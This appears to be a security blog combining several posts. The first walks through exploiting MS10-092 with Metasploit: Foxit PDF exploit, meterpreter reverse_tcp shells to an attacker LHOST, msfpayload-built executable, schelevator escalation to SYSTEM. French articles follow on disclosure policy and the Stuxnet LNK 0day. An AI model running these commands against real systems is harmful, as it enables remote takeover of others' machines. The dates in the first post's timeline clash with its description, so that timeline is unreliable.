MS10-092 : Microsoft Windows Task Scheduler Privilege Escalation

Timeline :

webDEViL 0day release on Exploit-DB the 2010-11-20
Metasploit exploit released the 2010-11-20

    PoC provided by :

webDEViL
jduck

    Reference(s) :

CVE-2010-3338
EDB-ID-15589
MS10-092

    Affected version(s) :

Should work on Vista/Win7/2008 x86/x64

    Tested on Windows 7 Integral

    Description :

Stuxnet is not yet inhume, on four discovered 0day, only three of them where patched by Microsoft during the October second Tuesday. The last one has been reveled by webDEViL the 21 October on Exploit-DB, and one day later, this new still unpatched 0day, has been integrated into Metasploit by Rapid7 team.

This vulnerability permit to a local unprivileged user to do a “privilege escalation” attack by running the Windows scheduler on Windows Vista, Seven and 2008.

Here under a video demonstrating the privilege escalation between an another 0day disclosed by Corelan Team on Foxit PDF Reader.

    Commands :

Foxit PDF Reader exploitation

use exploit/windows/fileformat/foxit_title_b­of
set OUTPUTPATH /home/eromang
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit

use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.178.21
exploit -j

sysinfo
getuid
getprivs

Creating a test.exe containing a reverse_tcp meterpreter payload

sudo msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.178.21 X test.exe

Launching a second multi handler listener with msfcli

sudo msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=192.168.178.21 E

Running schelevator to gain system privileges

run schelevator -u test.exe

getuid
getprivs

Some videos of DLL Hijacking exploitation with Metasploit

Didn’t have time in August (holidays) to write a complete blog posts on the DLL Hijacking thing. So I only did some YouTube videos, how explain better the dangerousity of this flaw. But what is interesting in this story, is the “Acros” position on the HDMoore proposed coordinate disclosure process and the collision between security researchers on the same vulnerability without knowing that they are working on the same thing but thousand of milles away from each other.

Responsible Disclosure vs Coordinated Vulnerability Disclosure, le débat sans fin

Le 10 Juin dernier, Tavis Ormandy, chercheur membre de l’équipe de sécurité de Google, avait publié une vulnérabilité nommée “Microsoft Windows Help Centre” qui avait fait beaucoup de bruit sur Internet et au sein de la communauté de la sécurité informatique. Le débat sur le “divulgation responsable des vulnérabilités” contre la “divulgation totale des vulnérabilités” refaisait surface.

Il faut dire que Taviso avait soumis la vulnérabilité à Microsoft 4 jours avant de publier celle-ci sur Internet, laissant ainsi très peu de temps à Microsoft pour réagir et fournir aux utilisateurs finaux une méthode de protection contre cette vulnérabilité. Dans son bulletin, Taviso précisait que la recherche effectuée sur cette vulnérabilité avait été faîte sur son temps personnel et qu’en aucun cas Google ne pouvait être associé à cette divulgation. L’on pouvait tous de même retrouver à la fin de ce bulletin des remerciements à destination d’autres membres de l’équipe de sécurité de Google.

Dans ce même bulletin, Taviso encourageait les internautes à prendre contact avec Microsoft afin de faire pression pour avoir des délais de réaction plus court aux bulletins émis par les chercheurs en sécurité informatique. La position de Taviso est claire, les fournisseurs de logiciels, tels que Microsoft, ne doivent pas tarder, après notification d’une vulnérabilité, à réagir pour mettre à disposition des mises à jour de sécurité. Si un chercheur en sécurité informatique a pu trouver cette vulnérabilité, une personne mal intentionnée pourrait l’avoir aussi découverte. La sécurité des entreprises et des internautes est en question.

Quand à Microsoft, sa position était tous aussi claire, qui de mieux que le fournisseur peut trouver la cause primaire de la vulnérabilité et ainsi fournir la meilleure correction à celle-ci. Taviso aurait fourni, suivant Microsoft, une analyse incomplète de la vulnérabilité, ainsi qu’une solution de mitigation trop facilement contournable. Microsoft ne revient pas sur le fait que les chercheurs en sécurité informatique sont indispensables, mais préconise, tous comme Google, une divulgation responsable des vulnérabilités. De dévoiler, sans correctif disponible, une vulnérabilité peut mettre la sécurité des entreprises et des internautes en péril.

Le dilemme est là, la sécurité par l’obscurité ainsi que la sécurité par la divulgation, quel soit responsable ou non, peut mettre en péril la sécurité des entreprises et des internautes.

Il y a tous de même un fait à ne pas oublier, quelques mois auparavant Google avait été la cible d’une attaque ciblée et persistante (Opération Aurora). Cette attaque avait exploité un 0day dans Internet Explorer 6, et permis à des personnes mal intentionnées de dérober des données sensibles de Google. De plus, ne pas oublier que Google et Microsoft sont concurrents sur bien des secteurs, navigateurs internet, OS, SaaS, etc.

Ce Mardi 20 Juillet, la polémique sur la divulgation des vulnérabilités a franchit une nouvelle étape. Dans un billet signé de façon commune par Tavis Ormandy et d’autres membres de l’équipe de sécurité de Google, propose de réduire les délais d’attente à 60 jours entre le moment où le fournisseur est mis au courant d’une vulnérabilité critique, et le moment où la même vulnérabilité critique serait rendue publique. Google invite les autres chercheurs en sécurité informatique à suivre la même police de divulgation afin de mettre “la pression” sur les fournisseurs de logiciels vulnérables.

En contre attaque, ce Jeudi 22 Juillet, Microsoft a annoncé un changement de son approche au niveau de la divulgation des vulnérabilités. Jusqu’à maintenant Microsoft était aussi un adepte de la méthode “Responsible Disclosure”, mais depuis cette annonce la nouvelle méthode qui sera appliquée se nommera “Coordinated Vulnerability Disclosure “. Uniquement une question de sémantique ?

Afin de “mettre un terme” au débat sans fin (que Microsoft alimente par cette annonce), Microsoft insiste sur le fait que coordination et collaboration sont requises pour résoudre les problèmes afin de réduire les risques pour les internautes. Microsoft insiste sur le fait que la divulgation d’une vulnérabilité est une responsabilité qui doit être partagée entre les différents acteurs de la découverte (Chercheur), de la centralisation (CERT, Secunia), du traitement et de la résolution de celle-ci (Fournisseur). Cette responsabilité partagée se base sur une collaboration plus forte entre le fournisseur et le chercheur.

En tous cas, la guerre de la communication et le débat sur la divulgation des vulnérabilités ne risque pas de s’arrêter. La guerre commerciale entre Google et Microsoft ne fait que commencer.

0Day Windows Shell LNK dans la nature

Nous vous avions fait part ce week-end de la découverte d’une bien étrange affaire d’espionnage numérique ciblant les grandes industries nationales, principalement nucléaire. Cet espionnage numérique utilise une vulnérabilité non connue (0Day) de Windows qui s’avère toujours aujourd’hui être très dangereuse, nommée “Windows Shell LNK”. L’exploitation de cette vulnérabilité est très simple, car il suffit de naviguer sur un site Internet, ou que vous ouvriez un document (Word, par exemple) contenant des raccourcis, pour qu’un internaute malveillant prenne la main sur votre ordinateur, et cela en toute transparence sans que vous ne remarquiez quelque chose.

D’ailleurs, la vulnérabilité est considérée comme tellement dangereuse que l’institut SANS ISC a monté, Lundi, son niveau d’alerte (fait rarissime), pour finalement le redescendre à un niveau vert ce Mercredi.

Plusieurs PoC (Proof of Concept) sont actuellement disponibles sur Internet, mais aussi intégrés dans des outils d’audits de sécurité informatique, tel que Metasploit de Rapid 7. Voir la petite vidéo vous faisant une démonstration de la simplicité d’exploitation de cette vulnérabilité par le biais de Metasploit.

Microsoft a bien sûr fourni plusieurs solutions de contournements de cette vulnérabilité, mais celle-ci demeurait trop complexe à mettre en oeuvre pour de simples utilisateurs. C’est pour cela, que poussé par la pression des professionnels de la sécurité informatique, Microsoft a mis à disposition une solution “Fix it 50486” qui permet en un seul clic de ne plus se rendre vulnérable à celle-ci. Par contre, attendez-vous à avoir des surprises lors de l’application de ce “Fix it” car vous allez vous retrouver avec des raccourcis sans icônes… Bien sûr, vous pouvez faire marche arrière par le biais d’un autre “Fix it” cette fois-ci le “50486”.

Toujours suite à cette affaire d’espionnage numérique, nous vous remontions, aussi dimanche, que le malware distribué par le biais de l’exploit “Windows Shell LNK” tentait d’installer deux drivers signés numériquement par “Realtek Semiconductor Corp.“, une société connus dans le monde de l’informatique. Le fait que deux drivers contenu dans un malware, participant à une infection, soient signés par Realtek signifiait éventuellement que la clé privée de RealTek aurait été compromise, et que celle-ci aurait éventuellement servie pour signer d’autres logiciels malveillants. Par mesure de précaution, Microsoft et Verisign, en collaboration avec Realtek ont décidé de révoquer le certificat mis en cause. Sage décision…

Sage décision, quand on apprend un jour après qu’une autre société “JMicron Technology Corp”, un constructeur de matériel informatique, aurait lui aussi été la victime d’un vol de clé privé permettant aussi de signer les drivers d’installation Windows ! Comme par hasard ces deux sociétés se retrouvent toutes les deux à Taïwan et dans le même quartier (Hsinchu Science-based Industrial Park), la Silicon Valley de Taïwan. Bien sûr, le certificat de la société JMicron à lui aussi été révoqué en collaboration avec Microsoft et Verisign.

Pour l’instant les informations récupérées par le malware ne sont pas encore connus, ni même les auteurs de celui-ci. Dès que nous aurons plus d’informations nous vous tiendrons au courant.